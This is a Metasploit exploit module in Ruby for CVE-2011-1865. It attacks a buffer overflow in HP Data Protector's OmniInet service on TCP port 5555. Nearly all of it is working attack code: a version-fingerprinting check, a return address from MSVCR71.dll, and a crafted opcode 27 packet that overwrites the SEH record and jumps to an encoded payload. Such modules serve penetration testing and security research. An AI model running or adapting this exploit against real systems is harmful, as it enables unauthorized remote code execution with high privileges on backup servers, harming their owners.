128 lines
3.4 KiB
Ruby
128 lines
3.4 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'HP OmniInet.exe Opcode 27 Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in the Hewlett-Packard
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OmniInet NT Service. By sending a specially crafted opcode 27 packet,
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a remote attacker may be able to execute arbitrary code.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2011-1865' ],
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[ 'OSVDB', '73571'],
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[ 'URL', 'http://www.coresecurity.com/content/HP-Data-Protector-multiple-vulnerabilities' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Payload' =>
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{
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'Space' => 800,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'HP Data Protector A.06.10 Build 611 / A.06.11 Build 243',
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{
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#POP/POP/RET from OmniBack\bin\MSVCR71.dll
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'Ret' => 0x7c35630d
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jun 29 2011'))
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register_options([Opt::RPORT(5555)], self.class)
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end
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def check
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connect
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sock.put(rand_text_alpha_upper(64))
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resp = sock.get_once(-1,5)
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disconnect
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if (resp)
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resp = resp.unpack('v*').pack('C*')
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print_status("Received response: " + resp)
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# extract version
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if (resp =~ /HP Data Protector/)
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version = resp.split[3]
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elsif (resp =~ /HP OpenView Storage Data Protector/)
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version = resp.split[5]
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elsif (resp =~ /HP StorageWorks Application Recovery Manager/)
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version = resp.split[5]
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else
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return Exploit::CheckCode::Detected
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end
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version = version.split('.')
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major = version[1].to_i
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minor = version[2].to_i
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if ((major < 6) or (major == 6 and minor < 11))
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return Exploit::CheckCode::Appears
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end
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if ((major > 6) or (major == 6 and minor >= 11))
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return Exploit::CheckCode::Safe
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end
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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trigger = rand_text_alpha_upper(10000)
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trigger[4552, payload.encoded.length] = payload.encoded
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trigger[5352, 8] = generate_seh_record(target.ret)
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trigger[5360, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-788").encode_string
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opcode = "27"
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packet = Rex::Text.to_unicode("\x00")
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packet << "\x27\xca" #length
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packet << "\xff\xfe\x32"
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packet << "\x00\x00\x00"
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packet << Rex::Text.to_unicode("\x20\x61\x00") * 3
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packet << Rex::Text.to_unicode("\x20")
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packet << trigger
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packet << Rex::Text.to_unicode("\x00")
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packet << Rex::Text.to_unicode("\x20\x61\x00")
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packet << Rex::Text.to_unicode("\x20" + opcode + "\x00")
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packet << Rex::Text.to_unicode("\x20\x61\x00") * 24
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print_status("Trying #{target.name}...")
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sock.put(packet)
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select(nil,nil,nil,10)
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handler
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disconnect
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end
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end
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